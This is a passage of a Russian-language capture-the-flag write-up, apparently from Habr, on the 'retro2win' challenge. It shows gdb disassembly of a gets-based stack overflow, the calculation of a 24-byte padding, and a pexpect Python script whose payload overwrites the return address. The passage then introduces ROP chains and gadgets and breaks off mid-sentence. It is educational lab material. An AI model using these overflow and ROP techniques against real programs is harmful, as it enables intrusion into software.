\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 2\u0445 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u043e\u0432. \u0417\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u043f\u0435\u0440\u0432\u043e\u0433\u043e \u0434\u043e\u043b\u0436\u043d\u043e \u0431\u044b\u0442\u044c <code>0x2323232323232323<\/code> , \u0430 \u0432\u0442\u043e\u0440\u043e\u0433\u043e <code>0x4242424242424242<\/code> . \u042d\u0442\u043e \u043d\u0435\u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e \u0443\u0441\u043b\u043e\u0436\u043d\u044f\u0435\u0442 \u043d\u0430\u0448\u0443 \u0437\u0430\u0434\u0430\u0447\u0443 \u2014 \u043c\u0430\u043b\u043e \u0442\u043e\u0433\u043e, \u0447\u0442\u043e \u043d\u0430\u043c \u043f\u0440\u0438\u0439\u0434\u0435\u0442\u0441\u044f \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e \u0440\u0430\u0441\u0441\u0447\u0438\u0442\u0430\u0442\u044c \u0438 \u0437\u0430\u0430\u0431\u044c\u044e\u0437\u0438\u0442\u044c \u0430\u0434\u0440\u0435\u0441 \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u0430, \u0442\u0430\u043a \u043c\u044b \u0435\u0449\u0435 \u0438 \u0434\u043e\u043b\u0436\u043d\u044b \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u044b \u0440\u0430\u0441\u0441\u0442\u0430\u0432\u0438\u0442\u044c.<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/01d\/b60\/fe5\/01db60fe548e1056699efa891cb25b2f.png\" width=\"1204\" height=\"773\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/01d\/b60\/fe5\/01db60fe548e1056699efa891cb25b2f.png\"\/><\/figure>\n<p>\u0417\u0434\u0435\u0441\u044c \u044f \u0437\u043d\u0430\u0442\u043d\u043e \u0442\u0430\u043a \u043e\u0444\u0438\u0433\u0435\u043b. \u0421\u0440\u0430\u0437\u0443 \u0432 \u0433\u043e\u043b\u043e\u0432\u0435 \u043f\u0440\u043e\u043c\u0435\u043b\u044c\u043a\u043d\u0443\u043b\u0430 \u043c\u044b\u0441\u043b\u044c \u2014 \u043c\u043e\u0436\u0435\u0442 \u0437\u0430\u0430\u0431\u044c\u044e\u0437\u0438\u0442\u044c \u0430\u0434\u0440\u0435\u0441 \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u0430 \u0442\u0430\u043a, \u0447\u0442\u043e\u0431 \u043e\u043d \u043e\u0431\u043e\u0448\u0435\u043b \u044d\u0442\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0438 \u0441\u0440\u0430\u0437\u0443 \u043d\u0430\u0447\u0430\u043b \u0441\u043e \u0441\u0442\u0440\u043e\u043a\u0438 <code>CHEAT MODE ACTIVATED!<\/code> ? \u042f \u0432\u0437\u044f\u043b\u0441\u044f \u0437\u0430 \u044d\u0442\u0443 \u043f\u043e\u043f\u044b\u0442\u043a\u0443. <\/p>\n<p>\u041d\u0430\u0448\u0430 <code>cheat_mode<\/code> \u0440\u0430\u0441\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u0430 \u043f\u043e \u0430\u0434\u0440\u0435\u0441\u0443 <code>0x00400736<\/code> . \u0418 \u044d\u0442\u043e, \u0431\u043b\u0438\u043d, \u0447\u0435\u0440\u0442\u043e\u0432\u0441\u043a\u0438 \u043d\u0435 \u0443\u0434\u043e\u0431\u043d\u044b\u0439 \u0430\u0434\u0440\u0435\u0441! \u0418\u0437-\u0437\u0430 07 \u0438 null-\u0431\u0430\u0439\u0442\u043e\u0432 \u0432 \u044d\u0442\u043e\u043c \u0430\u0434\u0440\u0435\u0441\u0435 \u043c\u044b \u0431\u043e\u043b\u044c\u0448\u0435 \u043d\u0435 \u043c\u043e\u0436\u0435\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0442\u0435\u0440\u043c\u0438\u043d\u0430\u043b \u0434\u043b\u044f \u0432\u0432\u043e\u0434\u0430 \u0434\u0430\u043d\u043d\u044b\u0445. \u0412\u0441\u0435 \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0438\u0435 \u043c\u0430\u043d\u0438\u043f\u0443\u043b\u044f\u0446\u0438\u0438 \u0441 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043e\u0439 \u043c\u044b \u0431\u0443\u0434\u0435\u043c \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u0442\u044c \u0438\u0441\u043a\u043b\u044e\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0447\u0435\u0440\u0435\u0437 \u0441\u043a\u0440\u0438\u043f\u0442\u044b \u043d\u0430 python. <\/p>\n<p>\u0414\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0430\u0434\u0440\u0435\u0441\u0430, \u0433\u0434\u0435 \u043c\u044b \u043e\u0431\u043e\u0439\u0434\u0435\u043c \u044d\u0442\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438, \u0441\u043c\u043e\u0442\u0440\u0438\u043c \u043d\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u044e \u0432 \u0434\u0438\u0437\u0430\u0441\u0441\u0435\u043c\u0431\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c \u0432\u0438\u0434\u0435. \u041d\u0430\u0441 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u0443\u0435\u0442 <code>0x0040076a<\/code> .<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/ec8\/bb8\/899\/ec8bb889979cb5618965ec872a1c01fc.png\" alt=\"\" title=\"\" width=\"1345\" height=\"746\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/ec8\/bb8\/899\/ec8bb889979cb5618965ec872a1c01fc.png\"\/><\/figure>\n<p>\u0427\u0442\u043e\u0431\u044b \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e \u043f\u0435\u0440\u0435\u0434\u0430\u0442\u044c \u0430\u0434\u0440\u0435\u0441 \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u0430, \u043d\u0430\u043c \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0442\u0430\u043a\u0436\u0435 \u0440\u0430\u0441\u0441\u0447\u0438\u0442\u0430\u0442\u044c \u0437\u0430\u0433\u043b\u0443\u0448\u043a\u0443. \u042d\u0442\u043e \u043d\u0443\u0436\u043d\u043e \u043f\u043e \u0442\u043e\u0439 \u043f\u0440\u043e\u0441\u0442\u043e\u0439 \u043f\u0440\u0438\u0447\u0438\u043d\u0435, \u0447\u0442\u043e \u0444\u0443\u043d\u043a\u0446\u0438\u044f <code>gets<\/code> \u0432\u0441\u0435 \u0442\u0430\u043a\u0438 \u0440\u0430\u0431\u043e\u0447\u0430\u044f, \u0438 \u043a\u0430\u043a\u043e\u0439-\u0442\u043e \u043a\u0443\u0441\u043e\u0447\u0435\u043a \u043d\u0430\u0448\u0435\u0433\u043e \u0432\u0432\u043e\u0434\u0430 \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e \u043f\u0430\u0434\u0430\u0435\u0442 \u043d\u0430 \u0441\u0442\u0435\u043a \u043f\u0435\u0440\u0435\u0434 \u0442\u0435\u043c \u043a\u0430\u043a \u043c\u044b \u0435\u0433\u043e \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0438\u043c.<\/p>\n<p>\u0414\u043b\u044f \u0440\u0430\u0441\u0441\u0447\u0435\u0442\u043e\u0432 \u043d\u0430\u043c \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043d\u0430\u0439\u0442\u0438 \u0440\u0430\u0431\u043e\u0447\u0438\u0439 \u0430\u0434\u0440\u0435\u0441 \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u0430 \u043d\u0430 \u0441\u0442\u0435\u043a\u0435. \u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u043f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u0432\u0432\u0435\u0441\u0442\u0438 \u043a\u0430\u043a\u043e\u0435-\u0442\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0447\u0438\u0442-\u043a\u043e\u0434\u0430, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u043d\u0435 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0438\u0442 \u0431\u0443\u0444\u0435\u0440. \u0412 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 <code>enter_cheatcode<\/code> \u043f\u043e \u0430\u0434\u0440\u0435\u0441\u0443 <code>0x0000000000400827<\/code> \u0435\u0441\u0442\u044c \u043f\u0440\u0435\u043a\u0440\u0430\u0441\u043d\u0430\u044f \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f <code>nop<\/code> \u2014 \u043a\u0430\u043a \u0440\u0430\u0437 \u043f\u043e\u0441\u043b\u0435 \u0441\u0447\u0438\u0442\u044b\u0432\u0430\u043d\u0438\u044f \u0434\u0430\u043d\u043d\u044b\u0445 \u043d\u0430\u0448\u0435\u0433\u043e \u0432\u0432\u043e\u0434\u0430. \u041d\u0430 \u043d\u0435\u0439 \u0438 \u043f\u043e\u0441\u0442\u0430\u0432\u0438\u043c breakpoint.<\/p>\n<pre><code>tkchk@laptop:~\/Documents\/pwn\/retro2win\/challenge$ gdb retro2win  GNU gdb (Ubuntu 15.0.50.20240403-0ubuntu1) 15.0.50.20240403-git Copyright (C) 2024 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later &lt;http:\/\/gnu.org\/licenses\/gpl.html&gt; This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type \"show copying\" and \"show warranty\" for details. This GDB was configured as \"x86_64-linux-gnu\". Type \"show configuration\" for configuration details. For bug reporting instructions, please see: &lt;https:\/\/www.gnu.org\/software\/gdb\/bugs\/&gt;. Find the GDB manual and other documentation resources online at:     &lt;http:\/\/www.gnu.org\/software\/gdb\/documentation\/&gt;.  For help, type \"help\". Type \"apropos word\" to search for commands related to \"word\"... Reading symbols from retro2win... (No debugging symbols found in retro2win) (gdb) disass enter_cheatcode Dump of assembler code for function enter_cheatcode:    0x00000000004007ee &lt;+0&gt;:push   rbp    0x00000000004007ef &lt;+1&gt;:mov    rbp,rsp    0x00000000004007f2 &lt;+4&gt;:sub    rsp,0x10    0x00000000004007f6 &lt;+8&gt;:mov    edi,0x400a99    0x00000000004007fb &lt;+13&gt;:call   0x4005a0 &lt;puts@plt&gt;    0x0000000000400800 &lt;+18&gt;:lea    rax,[rbp-0x10]    0x0000000000400804 &lt;+22&gt;:mov    rdi,rax    0x0000000000400807 &lt;+25&gt;:mov    eax,0x0    0x000000000040080c &lt;+30&gt;:call   0x400600 &lt;gets@plt&gt;    0x0000000000400811 &lt;+35&gt;:lea    rax,[rbp-0x10]    0x0000000000400815 &lt;+39&gt;:mov    rsi,rax    0x0000000000400818 &lt;+42&gt;:mov    edi,0x400aaf    0x000000000040081d &lt;+47&gt;:mov    eax,0x0    0x0000000000400822 &lt;+52&gt;:call   0x4005c0 &lt;printf@plt&gt;    0x0000000000400827 &lt;+57&gt;:nop    0x0000000000400828 &lt;+58&gt;:leave    0x0000000000400829 &lt;+59&gt;:ret End of assembler dump. (gdb) break *0x0000000000400827 Breakpoint 1 at 0x400827 (gdb) run Starting program: \/home\/tkchk\/Documents\/pwn\/retro2win\/challenge\/retro2win  [Thread debugging using libthread_db enabled] Using host libthread_db library \"\/lib\/x86_64-linux-gnu\/libthread_db.so.1\". ***************************** *       Retro2Win Game      * ***************************** 1. Explore the Forest 2. Battle the Dragon 3. Quit  Select an option: 1337 Enter your cheatcode: 11111111 Checking cheatcode: 11111111!  Breakpoint 1, 0x0000000000400827 in enter_cheatcode () (gdb) x\/10xg $rsp 0x7fffffffdd20:0x31313131313131310x0000000000000000 0x7fffffffdd30:0x00007fffffffdd500x0000000000400939 0x7fffffffdd40:0x00007fffffffde300x00000539ffffde78 0x7fffffffdd50:0x00007fffffffddf00x00007ffff7c2a1ca 0x7fffffffdd60:0x00007fffffffdda00x00007fffffffde78<\/code><\/pre>\n<p>\u0421\u043c\u043e\u0442\u0440\u0438\u043c \u043d\u0430 \u0441\u0442\u0435\u043a \u0447\u0435\u0440\u0435\u0437 <code>x\/10xg $rsp<\/code> . \u0417\u043d\u0430\u0447\u0435\u043d\u0438\u0435 <code>0x0000000000400939<\/code>  \u0438 \u0435\u0441\u0442\u044c \u043d\u0430\u0448 \u0440\u0430\u0431\u043e\u0447\u0438\u0439 \u0430\u0434\u0440\u0435\u0441 \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u0430 \u2014 \u043e\u043d\u043e \u0432\u0435\u0434\u0435\u0442 \u043d\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u044e <code>main<\/code> \u043a\u0430\u043a \u0440\u0430\u0437 \u043f\u043e\u0441\u043b\u0435 \u0432\u044b\u0437\u043e\u0432\u0430 <code>enter_cheatcode<\/code> . \u041f\u0435\u0440\u0435\u0434 \u044d\u0442\u0438\u043c \u0430\u0434\u0440\u0435\u0441\u043e\u043c \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u0430 \u043c\u044b \u0432\u0438\u0434\u0438\u043c \u0442\u0440\u0438 8-\u043c\u0438 \u0431\u0430\u0439\u0442\u043d\u044b\u0445 \u0447\u0438\u0441\u043b\u0430. \u041d\u0430\u043c \u0442\u0430\u043a\u0436\u0435 \u0432\u0438\u0434\u043d\u044b \u043d\u0430\u0448\u0438 \u0432\u0432\u0435\u0434\u0435\u043d\u043d\u044b\u0435 \u0435\u0434\u0438\u043d\u0438\u0446\u044b. \u0427\u0442\u043e \u0436\u0435, 3*8=24. 24 \u0431\u0430\u0439\u0442\u0430 \u0438 \u0435\u0441\u0442\u044c \u043d\u0430\u0448 \u0438\u0441\u043a\u043e\u043c\u044b\u0439 \u0440\u0430\u0437\u043c\u0435\u0440 \u0437\u0430\u0433\u043b\u0443\u0448\u043a\u0438.<\/p>\n<p>\u0414\u043b\u044f \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0432\u0437\u043b\u043e\u043c\u0430 \u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0443 pexpect. \u041d\u0430\u043c \u0432\u0441\u0435\u0433\u043e \u0442\u043e \u043d\u0443\u0436\u043d\u043e \u0437\u0430\u0441\u043f\u0430\u0432\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0431\u0438\u043d\u0430\u0440\u043d\u0438\u043a\u0430, \u0438 \u043a\u0430\u043a-\u0442\u043e \u043e\u0442\u0440\u0435\u0430\u0433\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u043e\u043d \u043d\u0430\u043c \u0448\u043b\u0435\u0442. \u041f\u043e\u0441\u043b\u0435 \u0444\u0440\u0430\u0437\u044b <code>Enter your cheatcode:<\/code> \u043c\u044b \u0448\u043b\u0435\u043c \u043d\u0430\u0448 payload. \u0410\u0434\u0440\u0435\u0441, \u043a\u0443\u0434\u0430 \u0434\u043e\u043b\u0436\u043d\u0430 \u0431\u0443\u0434\u0435\u0442 \u0432\u0435\u0440\u043d\u0443\u0442\u0441\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 \u044f \u043d\u0430\u043f\u0438\u0441\u0430\u043b \u0432 \u043e\u0431\u0440\u0430\u0442\u043d\u043e\u043c \u043f\u043e\u0440\u044f\u0434\u043a\u0435 \u0431\u0430\u0439\u0442 \u0438\u0437-\u0437\u0430 little endian \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u044b. \u0421\u043e\u0437\u0434\u0430\u0435\u043c \u0444\u0430\u0439\u043b\u0438\u043a <code>pwn.py<\/code><\/p>\n<pre><code class=\"python\">tkchk@laptop:~\/Documents\/pwn\/retro2win\/challenge$ cat pwn.py  import pexpect  child = pexpect.spawn('.\/retro2win') child.expect('Select an option:') child.sendline ('1337') child.expect('Enter your cheatcode:') child.sendline(b'AAAAAAAAAAAAAAAAAAAAAAAA\\x6a\\x07\\x40\\x00\\x00\\x00\\x00\\x00') print(child.before) child.interact()<\/code><\/pre>\n<p>\u0418, \u0431\u043b\u0438\u043d, \u043e\u043d\u043e \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u043b\u043e \u2014 \u044f \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u043b \u043d\u0443\u0436\u043d\u044b\u0435 \u0441\u0442\u0440\u043e\u043a\u0438, \u043d\u043e \u043a \u0431\u043e\u043b\u044c\u0448\u043e\u043c\u0443 \u0441\u043e\u0436\u0430\u043b\u0435\u043d\u0438\u044e, \u0444\u043b\u0430\u0433\u0430 \u044f \u043d\u0435 \u0443\u0432\u0438\u0434\u0435\u043b. <\/p>\n<pre><code>tkchk@laptop:~\/Documents\/pwn\/retro2win\/challenge$ python3 pwn.py  b'\\r\\n1337\\r\\n'  AAAAAAAAAAAAAAAAAAAAAAAAj^G@^@^@^@^@^@ Checking cheatcode: AAAAAAAAAAAAAAAAAAAAAAAAj@! CHEAT MODE ACTIVATED! You now have access to secret developer tools...<\/code><\/pre>\n<p>\u0417\u0434\u0435\u0441\u044c \u044f \u043f\u043e\u043d\u044f\u043b, \u0447\u0442\u043e \u044f\u0432\u043b\u044f\u044e\u0441\u044c \u043f\u043e\u043b\u043d\u044b\u043c \u0431\u0430\u0440\u0430\u043d\u043e\u043c. \u0412\u043e-\u043f\u0435\u0440\u0432\u044b\u0445, \u044d\u0442\u043e \u043d\u0435 \u0434\u043e\u043b\u0436\u043d\u043e \u0442\u0430\u043a \u043f\u0440\u043e\u0441\u0442\u043e \u0440\u0435\u0448\u0430\u0442\u0441\u044f, \u0430 \u0432\u043e-\u0432\u0442\u043e\u0440\u044b\u0445, \u044f \u0441\u043e\u0432\u0441\u0435\u043c \u0437\u0430\u0431\u044b\u043b \u043e \u0442\u0430\u043a\u043e\u0439 \u0432\u0430\u0436\u043d\u043e\u0439 \u0432\u0435\u0449\u0438 \u043a\u0430\u043a Function Prologue. Function Prologue \u0434\u0435\u043b\u0430\u0435\u0442 \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043a\u0443 \u0441\u0442\u0435\u043a\u0430 \u0434\u043b\u044f \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u044b \u0444\u0443\u043d\u043a\u0446\u0438\u0438, \u0438 \u0435\u0441\u043b\u0438 \u043c\u044b \u043d\u0435 \u0441\u0434\u0435\u043b\u0430\u0435\u043c \u044d\u0442\u0443 \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043a\u0443, \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u043d\u0435\u043f\u0440\u0435\u0434\u0441\u043a\u0430\u0437\u0443\u0435\u043c\u044b\u043c. \u0414\u0430\u0431\u044b \u0433\u043b\u044f\u043d\u0443\u0442\u044c \u043f\u043e\u0447\u0435\u043c\u0443 \u043c\u044b \u043d\u0435 \u043f\u0435\u0447\u0430\u0442\u0430\u0435\u043c \u0444\u043b\u0430\u0433, \u044f \u0431 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u043b \u0434\u0435\u0431\u0430\u0433\u0435\u0440, \u043d\u043e \u043c\u044b \u0437\u0434\u0435\u0441\u044c \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u043c \u0447\u0435\u0440\u0435\u0437 \u0441\u043a\u0440\u0438\u043f\u0442\u044b \u043d\u0430 python \u2014 \u043a\u0430\u043a \u0434\u043e\u0431\u0438\u0442\u0441\u044f \u0432 \u0442\u0430\u043a\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0434\u0435\u0431\u0430\u0433\u0430 \u043c\u043d\u0435 \u043d\u0435 \u043f\u043e\u043d\u044f\u0442\u043d\u043e. \u041d\u0430\u0432\u0435\u0440\u043d\u043e\u0435, \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u0435\u0441\u0442\u044c. \u0412 \u043e\u0431\u0449\u0435\u043c, \u0432\u043e\u0442 \u044d\u0442\u0438 \u0442\u0440\u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u0434\u043e\u043b\u0436\u043d\u044b \u043e\u0442\u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c, \u0438\u043d\u0430\u0447\u0435 \u043c\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u043c \u043f\u043e\u043b\u0443\u0440\u0430\u0431\u043e\u0447\u0443\u044e \u0444\u0443\u043d\u043a\u0446\u0438\u044e. <\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/7d8\/591\/6cf\/7d85916cfc4d1a71de753543cf759a04.png\" width=\"1345\" height=\"746\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/7d8\/591\/6cf\/7d85916cfc4d1a71de753543cf759a04.png\"\/><\/figure>\n<p>\u0412 \u0438\u0442\u043e\u0433\u0435, \u0443 \u043d\u0430\u0441 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430\u0441\u044c \u0434\u043e\u0432\u043e\u043b\u044c\u043d\u043e \u043f\u0435\u0447\u0430\u043b\u044c\u043d\u0430\u044f \u043a\u0430\u0440\u0442\u0438\u043d\u0430 \u2014 \u044d\u0442\u0443 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u043c\u044b \u043d\u0438\u043a\u0430\u043a \u043d\u0435 \u043c\u043e\u0436\u0435\u043c \u043e\u0431\u043e\u0439\u0442\u0438.<\/p>\n<p>\u041a\u043e\u0440\u043e\u0447\u0435, \u043a\u043e\u043f\u0430\u043b\u0441\u044f \u044f \u0441 \u044d\u0442\u0438\u043c \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0447\u0430\u0441\u043e\u0432, \u0438 \u0432 \u0438\u0442\u043e\u0433\u0435 \u043d\u0430\u0448\u0435\u043b \u0432\u043e\u0442 \u044d\u0442\u0443 \u043f\u0440\u0435\u043a\u0440\u0430\u0441\u043d\u0443\u044e <a href=\"https:\/\/www.ired.team\/offensive-security\/code-injection-process-injection\/binary-exploitation\/rop-chaining-return-oriented-programming\">\u0441\u0442\u0430\u0442\u044c\u044e<\/a> \u043e Return Oriented Programming. \u0422\u0430\u043c \u0432 \u0440\u0430\u0437\u0434\u0435\u043b\u0435 \u00ab2nd ROP Chain\u00bb \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043c\u043e\u0439 \u0441\u043b\u0443\u0447\u0430\u0439 \u2014 \u0432\u043e\u0437\u0432\u0440\u0430\u0442 \u043d\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u044e \u0441 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0438. \u0422\u0430\u043a\u0436\u0435 \u0440\u0435\u0447\u044c \u0438\u0434\u0435\u0442 \u043e ROP \u0433\u0430\u0434\u0436\u0435\u0442\u0430\u0445. ROP \u0433\u0430\u0434\u0436\u0435\u0442\u044b \u2014 \u044d\u0442\u043e \u043c\u0435\u043b\u043a\u0438\u0435 \u043a\u0443\u0441\u043e\u0447\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043e\u0442 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0445 \u0438\u043b\u0438 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u0447\u043d\u044b\u0445 \u0444\u0443\u043d\u043a\u0446\u0438\u0439. \u041d\u0430\u043c \u043d\u0443\u0436\u043d\u044b \u0433\u0430\u0434\u0436\u0435\u0442\u044b \u0441 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f\u043c\u0438 <code>pop<\/code> \u0438 \u043f\u043e\u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c <code>return<\/code>. \u0427\u0435\u0440\u0435\u0437 <code>pop<\/code> \u043c\u044b \u0441\u043d\u0438\u043c\u0435\u043c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0441\u043e \u0441\u0442\u0435\u043a\u0430 (\u0430 \u043e\u043d \u0443 \u043d\u0430\u0441 \u043f\u043e\u0434 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0435\u043c) \u0438 \u0440\u0430\u0441\u0441\u0442\u0430\u0432\u0438\u043c \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u044b \u0432 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u044b, \u0430 \u0447\u0435\u0440\u0435\u0437 <code>return<\/code> \u043c\u044b \u0441\u043d\u043e\u0432\u0430 \u043f\u0440\u044b\u0433\u043d\u0435\u043c \u043d\u0430 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0438\u0437 \u0432\u0435\u0440\u0448\u0438\u043d\u044b \u0441\u0442\u0435\u043a\u0430. \u0415\u0441\u043b\u0438 \u043c\u044b \u0432\u0441\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e \u0440\u0430\u0441\u0441\u0447\u0438\u0442\u0430\u0435\u043c, \u043c\u044b \u0441\u043c\u043e\u0436\u0435\u043c \u043f\u0440\u043e\u0439\u0442\u0438\u0441\u044c \u043f\u043e \u043a\u043e\u0434\u0443 \u0433\u0430\u0434\u0436\u0435\u0442\u043e\u0432 \u0434\u043b\u044f \u0440\u0430\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0432 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u044b \u0438 \u043f\u043e\u0442\u043e\u043c \u043f\u0440\u044b\u0433\u043d\u0435\u043c \u043d\u0430 \u043d\u0430\u0448 <code>cheat_mode<\/code>. \u041a\u0430\u043a \u0440\u0430\u0437 \u0438\u0437-\u0437\u0430 \u0442\u043e\u0433\u043e, \u0447\u0442\u043e \u043c\u044b \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0440\u0430\u0437 \u0442\u0440\u0438\u0433\u0435\u0440\u043d\u0435\u043c <code>return<\/code> , ROP Chain \u0438 \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f ROP Chain&#8217;\u043e\u043c \u2014 \u044d\u0442\u043e \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u043e\u0432. \u041d\u0430 \u044d\u0442\u043e\u0439 \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0435 \u043f\u043e\u043a\u0430\u0437\u0430\u043d\u043e \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e\u0435 \u0432\u0438\u0434\u0435\u043d\u044c\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u0431\u0443\u0434\u0435\u0442 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u0442\u044c \u043d\u0430\u0448 \u0441\u0442\u0435\u043a \u043f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u043c\u044b \u0435\u0433\u043e \u0437\u0430\u0430\u0431\u044c\u044e\u0437\u0438\u043c (\u043f\u0440\u0438\u043c\u0435\u0440 \u0441 \u0434\u0440\u0443\u0433\u043e\u0433\u043e \u0441\u0430\u0439\u0442\u0430).<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/7de\/95a\/0f3\/7de95a0f37d6474cf73048f867b901e9.png\" width=\"1231\" height=\"842\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/7de\/95a\/0f3\/7de95a0f37d6474cf73048f867b901e9.png\"\/><\/figure>\n<p>\u0410 \u0442\u0435\u043f\u0435\u0440\u044c \u0434\u0430\u0432\u0430\u0439\u0442\u0435 \u043d\u0430\u0439\u0434\u0435\u043c \u0433\u0430\u0434\u0436\u0435\u0442\u044b. \u0413\u043b\u0430\u0432\u043d\u043e\u0435, \u0447\u0442\u043e \u043e\u043d\u0438 \u0434\u043e\u043b\u0436\u043d\u044b \u0443\u043c\u0435\u0442\u044c, \u044d\u0442\u043e \u0440\u0430\u0441\u0441\u0442\u0430\u0432\u043b\u044f\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0435 \u0441\u043e 